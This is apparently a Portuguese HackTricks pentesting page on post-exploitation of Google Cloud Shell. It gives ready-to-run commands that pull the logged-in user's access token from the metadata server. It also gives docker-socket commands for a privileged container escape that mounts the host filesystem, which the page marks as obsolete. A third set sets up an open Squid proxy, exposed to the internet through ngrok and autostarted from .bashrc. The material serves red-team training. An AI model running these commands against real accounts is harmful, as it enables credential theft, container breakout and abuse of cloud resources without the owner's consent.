GCP - Cloud Shell Post Exploitation

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloud Shell

Para mais informações sobre Cloud Shell, consulte:

GCP - Cloud Shell Enum

Obtém o token do usuário a partir do metadata

Bastando acessar o servidor de metadata você pode obter um token para acessar como o usuário atualmente logado:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"

Container Escape / Docker use

Warning

Anteriormente o cloud shell era executado em um container com acesso ao socket do docker do host. Agora o Google mudou a arquitetura e o container do cloud shell executa uma configuração “Docker in a container”. Portanto, mesmo que seja possível usar docker a partir do cloud shell, você não conseguirá escapar para o host usando o socket do docker. Observe que anteriormente o arquivo docker.sock estava localizado em /google/host/var/run/docker.sock mas agora ele foi movido para /run/docker.sock.

Docker use / Old container escape commands ```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```

Além disso, no passado era possível encontrar um token para um service account usado pela cloud shell VM no metadata server:

Service account antigo do metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Com os seguintes escopos: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>



### Usar como Proxy

Se você quiser usar sua instância do google cloud shell como proxy, precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):

<details>

<summary>Instalar Squid proxy</summary>
```bash
sudo apt install -y squid

Só para você saber: Squid é um servidor proxy HTTP. Crie um arquivo squid.conf com as seguintes configurações:

Criar o arquivo squid.conf ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

copie o arquivo squid.conf para /etc/squid

Copiar configuração para /etc/squid ```bash sudo cp squid.conf /etc/squid ```

Por fim, execute o serviço squid:

Iniciar o serviço Squid ```bash sudo service squid start ```

Use o ngrok para tornar o proxy disponível externamente:

Expor o proxy com ngrok ```bash ./ngrok tcp 3128 ```

Após executar, copie a URL tcp://. Se quiser executar o proxy a partir de um navegador, sugere-se remover a parte tcp:// e a porta, e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy http).

Para melhor uso na inicialização, o arquivo .bashrc deve conter as seguintes linhas:

Adicionar ao .bashrc para inicialização automática ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

As instruções foram copiadas de https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Confira essa página para outras ideias malucas para executar qualquer tipo de software (bancos de dados e até Windows) no Cloud Shell.

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks